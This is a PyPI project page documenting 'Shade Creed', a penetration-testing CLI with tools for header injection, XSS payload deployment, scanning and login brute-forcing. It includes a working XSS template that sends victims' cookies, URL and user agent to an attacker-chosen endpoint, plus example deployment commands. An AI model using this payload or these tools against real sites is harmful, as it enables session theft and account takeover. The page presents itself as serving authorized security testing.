Skip to main content

A CLI framework for web application assessments and penetration testing — built with modularity, continuous maintenance, and frequent updates in mind.

Project description

PyPI - Version PyPI Downloads Platform License Facebook YouTube WhatsApp Instagram

Shade Creed is a command-line penetration testing toolkit designed for web application assessment. It provides tools to inject custom headers, deploy and test XSS payloads, and scan for common vulnerabilities. Built with modularity in mind, it allows you to dynamically customize and deploy payloads for real-world testing scenarios.

Version: 1.14.7
Platform: Linux / Android & Cross platform compatible


✨ Features

  • Custom HTTP/HTTPS header injection (supports multiple methods)
  • Dynamic XSS payload creation and deployment
  • Lightweight vulnerability scanner
  • Quick bruteforce setup
  • Proxy support (basic)

📦 Installation

pip install shadecreed

Additional packages : cloudflared && Chromium

Installation:

Android (termux)
pkg install cloudflared
pkg install x11-repo tur-repo chromium
Macos
brew install cloudflared 
brew install --cask chromium
Windows

cloudflared:

  1. Visit the official download page: 👉 https://developers.cloudflare.com/cloudflared/install-windows
  2. Download the latest cloudflared-windows-amd64.exe.
  3. Rename the downloaded file to cloudflared.exe.
  4. Move it to a folder like C:\cloudflared.
  5. Add that folder to your System PATH: Open System Properties > Environment Variables Under System variables, find and edit Path Add: C:\cloudflared\
  6. Verify installation: cloudflared --version

chromium:

  1. Find a reliable source: Websites like Woolyss offer pre-built versions of Chromium.
  2. Download the appropriate version: Choose the correct 32-bit or 64-bit version for your system.
  3. Run the installer: Follow the on-screen instructions to install Chromium.
  4. Test the installation: Launch Chromium and verify that it opens and functions correctly.
Linux distros

Download the latest cloudflared binary:

wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64

Make it executable:

chmod +x cloudflared-linux-amd64

Move it to a directory in your system PATH:

sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared

Verify installation:

cloudflared --version

For chromium installation, help yourself.


⚙️ CLI Tools

1. shadecreed

Description:

Main entry point for the framework.

usage: shadecreed [-h] -u URL

Options:

  • -h, --help Show help message and exit
  • -u URL, --url URL Target URL to launch framework
  • -v, --version Display version

2. shadecreed-inject

Description:

Injects custom headers into HTTP(S) requests.

usage: shadecreed-inject [-h] -u URL [-m {GET,POST,PUT,DELETE}] [-s HEADER] [-p PROXY] [-r REDIRECT]

Options:

  • -h, --help Show help message and exit
  • -u URL, --url URL Target URL
  • -m, --method {GET,POST,PUT,DELETE} HTTP method to use (default: GET)
  • -s HEADER, --header HEADER Path to custom headers JSON
  • -p PROXY, --proxy PROXY Proxy in format host:port
  • -r REDIRECT, --redirect REDIRECT true - allow redirect otherwise do not provide this flag

3. shadecreed-xss

Description:

Customize and deploy XSS payloads to dynamic endpoints.

usage: shadecreed-xss [-h] -u, --url URL [--script SCRIPT] [--endpoint ENDPOINT]

Options:

  • -h, --help Show help message and exit
  • --url URL Target URL
  • --script SCRIPT Path to XSS script template
  • --endpoint ENDPOINT Custom receiving endpoint

4. shadecreed-scan

Description:

Scans a target for vulnerabilities.

usage: shadecreed-scan [-h] --url URL

Options:

  • -h, --help Show help message and exit
  • --url URL Target URL

5. shadecreed-brute

Description:

Run custom brute force on admin login pages.

shadecreed-brute [-h] --url URL --redirect [true]

⚠️ Note: To prevent abuse, it can only attempt 10 passwords.

Options:

  • -h, --help Show help message and exit
  • -u, --url Target URL
  • -r, --redirect [true] - if you intend to allow redirects otherwise, do not provide this flag.

📂 Example Commands

Run the main framework:

shadecreed -u https://example.com

Inject custom header using POST:

shadecreed-inject -u https://target.com/api -m POST -s headers.json/.scdb -r true

Deploy custom XSS script:

shadecreed-xss --url https://target.com/page --script payload.js --endpoint https://mycustomendpoint.com/log

Test custom endpoint:

shadecreed-test <Custom_Endpoint>

Scan a site for vulnerabilities:

shadecreed-scan --url https://victim.com

Perform custom bruteforce:

shadecreed-brute --url https://myhome/admin --redirect true

🕷️ Custom XSS Template

You can craft custom XSS scripts using the {{endpoint}} placeholder which will be replaced during deployment:

<script>
  var data = {
    cookies: document.cookie,
    location: window.location.href,
    userAgent: navigator.userAgent
  };
  fetch("{{endpoint}}", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data)
  });
</script>

Save the above as payload.js and pass it using the --script flag.


⚠️ Disclaimer

Shade Creed is built for educational and authorized security testing only. The developer is not responsible for any misuse or illegal activity.


Goodluck Pentesting! ✨

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

shadecreed-1.14.8.tar.gz (37.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

shadecreed-1.14.8-py3-none-any.whl (41.0 kB view details)

Uploaded Python 3

File details

Details for the file shadecreed-1.14.8.tar.gz.

File metadata

  • Download URL: shadecreed-1.14.8.tar.gz
  • Upload date:
  • Size: 37.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.7

File hashes

Hashes for shadecreed-1.14.8.tar.gz
Algorithm Hash digest
SHA256 0a5754a6a3c47a4df2382694d7586adedb9b6358e85d3fd72c3e34ad363bfce7
MD5 fb53ef0f33f558535b1d518fcb2be321
BLAKE2b-256 daa5be8824beec6cdd5a332a3bd8c1c4eb2e6ac167699e1e31ee2431dfdeea34

See more details on using hashes here.

File details

Details for the file shadecreed-1.14.8-py3-none-any.whl.

File metadata

  • Download URL: shadecreed-1.14.8-py3-none-any.whl
  • Upload date:
  • Size: 41.0 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.7

File hashes

Hashes for shadecreed-1.14.8-py3-none-any.whl
Algorithm Hash digest
SHA256 0a6d03e810eb72455783c2afbe2ea078b3e29e12ffd0dee82eef4852e3470b58
MD5 4c7345d4749569970ed999466ee92b7c
BLAKE2b-256 62ae06fa619d980f04681ac5958635c987b45d83782535e7ce65b8cbff0fa494

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page